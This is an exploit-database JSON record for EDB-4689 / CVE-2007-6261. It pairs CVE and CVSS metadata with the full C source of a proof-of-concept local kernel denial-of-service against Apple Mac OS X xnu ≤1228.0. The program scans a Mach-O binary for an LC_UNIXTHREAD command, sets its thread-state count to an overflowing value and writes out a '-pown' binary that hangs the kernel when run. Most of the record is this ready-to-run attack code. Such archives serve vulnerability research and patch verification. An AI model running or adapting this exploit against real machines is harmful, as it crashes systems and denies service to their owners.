{"exploit":{"id":"EDB-4689","name":"Apple Mac OSX xnu 1228.0 - 'mach-o' Local Kernel Denial of Service (DoS) (PoC)","description":"Apple Mac OSX xnu 1228.0 - 'mach-o' Local Kernel Denial of Service (DoS) (PoC)","cves":["CVE-2007-6261"],"author":"mu-b","published":"2007-12-04","platform":"osx","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4689","path":"exploits/osx/dos/4689.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4689.c","vulnerabilities":[{"id":"CVE-2007-6261","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer overflow in the load_threadstack function in the Mach-O loader (mach_loader.c) in the xnu kernel in Apple Mac OS X 10.4 through 10.5.1 allows local users to cause a denial of service (infinite loop) via a crafted Mach-O binary.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-6261","cvss":{"version":"2.0","baseScore":4.9,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:N/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-6261"},"updatedAt":"2024-08-07T16:02:35.997Z","retrievedAt":"2026-11-27T12:09:16.914Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4689.png?v=2","url":"https://exploitbin.com/exploits/EDB-4689","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4689/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4689/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/* xnu-macho-dos.c\n *\n * Copyright (c) 2007 by <mu-b@digit-labs.org>\n *\n * Apple MACOS X xnu <= 1228.0 local kernel DoS POC\n * by mu-b - Thu 15 Nov 2007\n *\n * - Tested on: Apple MACOS X 10.4 (xnu-792.22.5~1/RELEASE_I386)\n *              Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)\n *              Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_PPC)\n *\n * integer overflow causes infinite loop in load_threadstack.\n *                                    (bsd/kern/mach_loader.c)\n *\n *    - Private Source Code -DO NOT DISTRIBUTE -\n * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <fcntl.h>\n#include <string.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define MAX_PATH_LEN        128\n\n#define LC_UNIXTHREAD       0x05\n#define x86_THREAD_STATE32  0x01\n\n/* osfmk/mach-o/loader.h */\nstruct thread_command {\n  unsigned long cmd;            /* LC_THREAD or LC_UNIXTHREAD */\n  unsigned long cmdsize;        /* total size of this command */\n  unsigned long flavor;         /* flavor of thread state */\n  unsigned long count;          /* count of longs in thread state */\n};\n\nstatic void *\nxmalloc (int num_bytes)\n{\n  char *buf;\n\n  buf = malloc (num_bytes);\n  if (buf == NULL)\n    {\n      fprintf (stderr, \"malloc (): out of memory allocating %d-bytes!\\n\", num_bytes);\n      exit (EXIT_FAILURE);\n    }\n\n  return (buf);\n}\n\nint\nmain (int argc, char ** argv)\n{\n  char fnbuf[MAX_PATH_LEN], *ptr, *cur, *end;\n  int fd, wfd, found, size;\n  struct stat fbuf;\n\n  printf (\"Apple MACOS X xnu <= 1228.0 local kernel DoS PoC\\n\"\n          \"by: <mu-b@digit-labs.org>\\n\"\n          \"http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\\n\\n\");\n\n  if (argc <= 1)\n    {\n      fprintf (stderr, \"Usage: %s <macho-o binary>\\n\", argv[0]);\n      exit (EXIT_SUCCESS);\n    }\n\n  if ((fd = open (argv[1], O_RDONLY)) == -1)\n    {\n      perror (\"open ()\");\n      exit (EXIT_FAILURE);\n    }\n\n  snprintf (fnbuf, sizeof fnbuf, \"%s-pown\", argv[1]);\n\n  if ((wfd = open (fnbuf, O_RDWR | O_CREAT)) == -1)\n    {\n      perror (\"open ()\");\n      exit (EXIT_FAILURE);\n    }\n\n  if (fstat (fd, &fbuf) < 0)\n    {\n      perror (\"fstat ()\");\n      exit (EXIT_FAILURE);\n    }\n\n  size = fbuf.st_size;\n  ptr = xmalloc (sizeof (char) * size);\n  end = ptr + size;\n\n  if (read (fd, ptr, size) < size)\n    {\n      unlink (fnbuf);\n\n      perror (\"write ()\");\n      exit (EXIT_FAILURE);\n    }\n\n  close (fd);\n\n  for (cur = ptr, found = 0;\n       !found && cur + sizeof (struct thread_command) < end;\n       cur += sizeof (unsigned long))\n    {\n      struct thread_command *thr_cmd;\n\n      thr_cmd = (struct thread_command *) cur;\n      if (thr_cmd->cmd == LC_UNIXTHREAD &&\n          thr_cmd->flavor == x86_THREAD_STATE32)\n        {\n          thr_cmd->count = 0x3FFFFFFE;\n          printf (\"* found at offset @0x%08X\\n\", cur - ptr);\n          found = 1;\n        }\n    }\n\n  if (!found)\n    {\n      unlink (fnbuf);\n\n      fprintf (stderr, \"* ARGH! hueristic didn't find our target!\\n\");\n      exit (EXIT_FAILURE);\n    }\n\n  write (wfd, ptr, size);\n  fchmod(wfd, fbuf.st_mode);\n  close (wfd);\n\n  free (ptr);\n  fprintf (stdout, \"* done\\nexecute ./%s at your own risk!$%%!\\n\", fnbuf);\n\n  return (EXIT_SUCCESS);\n}\n\n// milw0rm.com [2007-12-04]","sha256":"c16d33d3a89a2d73a636287362c15bc78199c96ac35bb982bc741d2c6a96c1f0","bytes":3252,"fetchedAt":"2026-11-27T12:09:15.185Z","encoding":"utf-8 (display only; download retains original bytes)"}